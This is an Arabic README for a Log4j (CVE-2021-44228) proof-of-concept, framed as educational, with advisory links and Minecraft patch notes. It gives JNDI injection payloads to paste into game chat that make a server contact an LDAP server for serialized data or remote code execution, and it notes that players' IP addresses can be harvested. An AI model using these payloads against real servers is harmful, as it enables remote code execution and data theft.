إثبات المفهوم لـ Log4j (CVE-2021-44228)

إخلاء مسؤولية

هذا المشروع لأغراض تعليمية فقط.

---

مقدمة

هذا إثبات مفهوم لثغرة log4j RCE مقتبس من HyCraftHD.

فيما يلي بعض الروابط الخاصة بـ CVE-2021-44228:

• https://www.lunasec.io/docs/blog/log4j-zero-day
• https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
• https://github.com/apache/logging-log4j2/pull/608
• https://www.youtube.com/watch?v=JPGola6BamU

يؤثر هذا الخلل على جميع إصدارات log4j2 تقريبًا وربما log4j1. الإصدار الموصى به هو 2.15.0 والذي يصلح الثغرة.

توضيح باستخدام ماينكرافت (الذي يستخدم log4j2)

• التفاصيل حول التأثير على ماينكرافت مدرجة هنا: https://twitter.com/slicedlime/status/1469150993527017483
• المقال من ماينكرافت هنا: https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
• إصدارات ماينكرافت فورج المُصلحة: https://twitter.com/gigaherz/status/1469331288368861195
• مقال مفصل من ماينكرافت فورج: https://gist.github.com/TheCurle/f15a6b63ceee3be58bff5e7a97c3a4e6
• إصدارات ماينكرافت فابريك المُصلحة: https://twitter.com/slicedlime/status/1469192689904193537
• إصدارات ماينكرافت بيبر المُصلحة: https://twitter.com/aurora_smiles_/status/1469205803232026625
• إصدارات ماينكرافت سبجوت المُصلحة: https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
• إصدارات ماينكرافت سبونج المُصلحة: https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196

التأخير أو إرسال بيانات متسلسلة

• ألصق ${jndi:ldap://127.0.0.1/e} في الدردشة. إذا كان هناك منفذ مفتوح على المنفذ 389، يحاول log4j الاتصال ويحظر المزيد من الاتصال حتى انتهاء المهلة.
• عند استخدام إثبات المفهوم هذا، سيسجل السجل في وحدة التحكم THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT! وهو كائن سلسلة متسلسل من خادم ldap.

• بالإضافة إلى ذلك، يتلقى خادم ldap الخبيث كل عنوان IP حيث يتم تسجيل الرسالة. هذا يعني أنه يمكن جمع عناوين IP للاعبين على الخادم باستخدام هذه الثغرة.

RCE

• ألصق ${jndi:ldap://127.0.0.1/exe} في الدردشة. إذا تم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true إلى true، فسيحدث تنفيذ التعليمات البرمجية عن بُعد.

• لحسن الحظ، تقوم إصدارات JDK الحديثة بتعطيل تحميل الفئات عن بُعد افتراضيًا. (https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
• الإصدارات القديمة قد تسمح بذلك بعد!!